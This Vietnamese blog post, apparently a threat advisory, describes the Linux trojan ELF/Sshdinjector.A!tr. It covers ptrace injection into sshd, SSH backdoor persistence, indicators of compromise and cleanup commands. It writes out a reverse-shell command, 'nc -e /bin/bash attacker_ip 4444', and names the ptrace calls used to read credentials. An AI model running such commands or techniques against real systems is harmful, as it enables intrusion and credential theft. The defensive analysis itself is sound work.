Biến thể phần mềm độc hại mới nhắm vào các hệ thống Linux và thiết bị IOT

Tổng quan

ELF/Sshdinjector.A!tr là một trojan Linux được thiết kế để chèn mã độc vào tiến trình SSH (sshd), đánh cắp thông tin đăng nhập và tạo Backdoor cho hacker. Các mẫu của phần mềm độc hại này được phát hiện chính vào giữa tháng 11 năm 2024

Mô tả

Loại: Trojan
Tên đầy đủ: ELF/Sshdinjector.A!tr
Mục tiêu: Hệ điều hành Linux
Cách lây nhiễm:
- Tận dụng lỗ hổng bảo mật trên hệ thống Linux
- Lây nhiễm qua SSH bằng cách đánh cắp thông tin xác thực
- Được chèn vào tiến trình hợp pháp như sshd để ẩn mình

Chi tiết kỹ thuật tấn công

Mặc dù phương thức lây nhiễm ban đầu không được công bố chi tiết nhưng mã độc ELF/Sshdinjector.A!tr sẽ thực hiện lây nhiễm thông qua 3 cách chính:
- Khai thác lỗ hổng bảo mật: Mã độc có thể lợi dụng các lỗ hổng trên hệ thống Linux chưa cập nhật, trong đó có 2 CVE được ghi nhận là:
  - CVE-2021-3156 - Lỗ hổng leo thang đặc quyền trên sudo.
  - CVE-2019-12735 (Vim & Neovim) – Lỗ hổng thực thi mã từ xa qua tập tin .vimrc.
- Brute-force SSH: Nếu hệ thống sử dụng mật khẩu yếu, trojan có thể brute-force (tấn công đoán mật khẩu) để truy cập vào tài khoản root.
- Lây nhiễm qua phần mềm độc hại: Được cài đặt thông qua các gói phần mềm giả mạo hoặc mã độc từ bên thứ ba.

CVE-2021-3156 | feather's blog

Ngay sau khi trojan xâm nhập được vào hệ thống, nó sẽ chèn mã độc vào tiến trình SSHD (Secure Shell Daemon). Điều này sẽ giúp kẻ tấn công thực hiện ẩn mình trong hệ thống và tránh bị phát hiện. Mã độc có thể sử dụng ptrace() để gắn vào tiến trình sshd và đọc dữ liệu từ bộ nhớ.
- ptrace(PTRACE_ATTACH, target_pid, NULL, NULL): Gắn vào tiến trình sshd.
- PTRACE_PEEKDATA: Đọc dữ liệu từ bộ nhớ (ví dụ: có thể lấy thông tin đăng nhập).
- PTRACE_DETACH: Thoát khỏi tiến trình sau khi lấy dữ liệu.
Sau đó khi người dùng đăng nhập SSH, mã độc sẽ ghi lại thông tin đăng nhập và gửi về máy chủ điều khiển (C2 Server): 45.125.64[.]200
Sau khi đã có thể chèn mã độc vào tiến trình SSHD, kẻ tấn công sẽ tạo một Backdoor để có thể duy trì được quyền truy cập hệ thống. Trojan sẽ tạo Backdoor bằng cách:
- Thay đổi tệp ~/.ssh/authorized_keys để thêm khóa SSH của hacker.
- Sửa đổi sshd_config để cho phép đăng nhập root từ xa.
- Cài đặt cronjob hoặc rootkit để tự động khởi động lại sau khi bị tắt.
Bên cạnh đó, một cách khác mà mã độc có thể thực hiện là thay đổi tệp PAM /etc/pam.d/sshd để ghi lại mật khẩu

Sau đó, mã độc sẽ tạo một script logger.sh để ghi lại mật khẩu:
Khi đã duy trì được kết nối liên tục đến máy nạn nhân, kẻ tấn công sẽ thực hiện tạo các Reverse shell để có thể gửi dữ liệu về máy chủ điều khiển C2 Server “nc -e /bin/bash attacker_ip 4444“. Hoặc kẻ tấn công có thể sử dụng một đoạn mã Python

Cuối cùng những kẻ tấn công sẽ thực hiện lẩn tránh trong hệ thống của nạn nhân. Một số biện pháp được ghi nhận chong chiến dịch lần này:
- Ẩn tiến trình độc hại bằng cách đổi tên hoặc giả mạo tiến trình hợp pháp.
- Tắt tường lửa và phần mềm bảo mật nếu có quyền root.
- Sử dụng kỹ thuật rootkit để che giấu hoạt động.

Ảnh hưởng của ELF/Sshdinjector.A!tr

ELF/Sshdinjector.A!tr là một trojan Linux nguy hiểm, chủ yếu lây nhiễm vào hệ thống thông qua SSH. Khi bị nhiễm, nó có thể đánh cắp thông tin, tạo backdoor, làm hệ thống chậm hoặc thậm chí biến server của bạn thành botnet. Một số ảnh hưởng chính của mã độc này được ghi nhận:

Đánh cắp thông tin đăng nhập SSH
Cài đặt Backdoor & duy trì quyền kiểm soát
Lạm dụng tài nguyên server để đào tiền ảo (Cryptojacking)
Biến server thành botnet để tấn công DDoS
Thay đổi tệp hệ thống & phá hoại dữ liệu
Lây lan sang hệ thống khác qua SSH Worm

IOC

IP:
- 45.125.64[.]200
Hash:
- 94e8540ea39893b6be910cfee0331766e4a199684b0360e367741facca74191f
- 0e2ed47c0a1ba3e1f07711fb90ac8d79cb3af43e82aa4151e5c7d210c96baebb
- 6d08ba82bb61b0910a06a71a61b38e720d88f556c527b8463a11c1b68287ce84

Khuyến nghị

Trong trường hợp nếu như hệ thống của bạn đã bị nhiễm ELF/Sshdinjector.A!tr thì cần thực hiện các hành động sau:

Kiểm tra tiến trình SSH
- ps aux | grep sshd
- Nếu phát hiện tiến trình SSH từ thư mục lạ như/tmp/, /var/tmp/ dừng ngay bằng:
  - kill -9
Quét hệ thống tìm mã độc
- Cài rkhunter và chkrootkit: sudo apt install rkhunter chkrootkit -y
- Chạy chương trình và thực hiện dò quét:
  - sudo rkhunter --check
  - sudo chkrootkit
Kiểm tra tài khoản lạ & xóa ngay
- cat /etc/passwd | grep bash
- Nếu như thấy có User thì có thể xóa bằng Command: sudo userdel -r <username>
Cài lại SSH nếu bị thay thế
- sudo apt reinstall openssh-server
Giới hạn IP truy cập SSH
- sudo ufw allow from <địa chỉ IP của bạn> to any port 22

Kết luận

ELF/Sshdinjector.A!tr là một trojan cực kỳ nguy hiểm, có khả năng đánh cắp thông tin SSH, tạo backdoor và gửi dữ liệu về hacker. Nếu bạn nghi ngờ hệ thống của mình bị nhiễm, hãy cách ly ngay, kiểm tra tiến trình sshd, quét rootkit và cập nhật hệ thống.

Biến thể phần mềm độc hại mới nhắm vào các hệ thống Linux và thiết bị IOT

Comments

Newsletters

More from this blog

Khi chiếc máy tính của bạn trở thành "trạm trung chuyển" bí mật cho gián điệp mạng

Dysphoria: sáu ngày sau cuộc triệt phá, và tám năm sau ý tưởng gốc

Operation BlueDash: khi RMM hợp pháp trở thành backdoor, và một repo GitHub công khai kể lại toàn bộ chiến dịch

Từ SSH Botnet Đến “Ổ” Đào Coin: Lần Theo Dấu Vết Một Chiến Dịch Cryptomining

OctLurk & SilkLurk: Hai Backdoor “Ẩn Mình” Và Tự Biến Đổi Theo Từng Nạn Nhân

Tổng quan

Mô tả

Chi tiết kỹ thuật tấn công

Ảnh hưởng của ELF/Sshdinjector.A!tr

IOC

Khuyến nghị

Kết luận

Tham khảo

Command Palette

Comments

Newsletters

More from this blog

Tổng quan

Mô tả

Chi tiết kỹ thuật tấn công

Ảnh hưởng của ELF/Sshdinjector.A!tr

IOC

Khuyến nghị

Kết luận

Tham khảo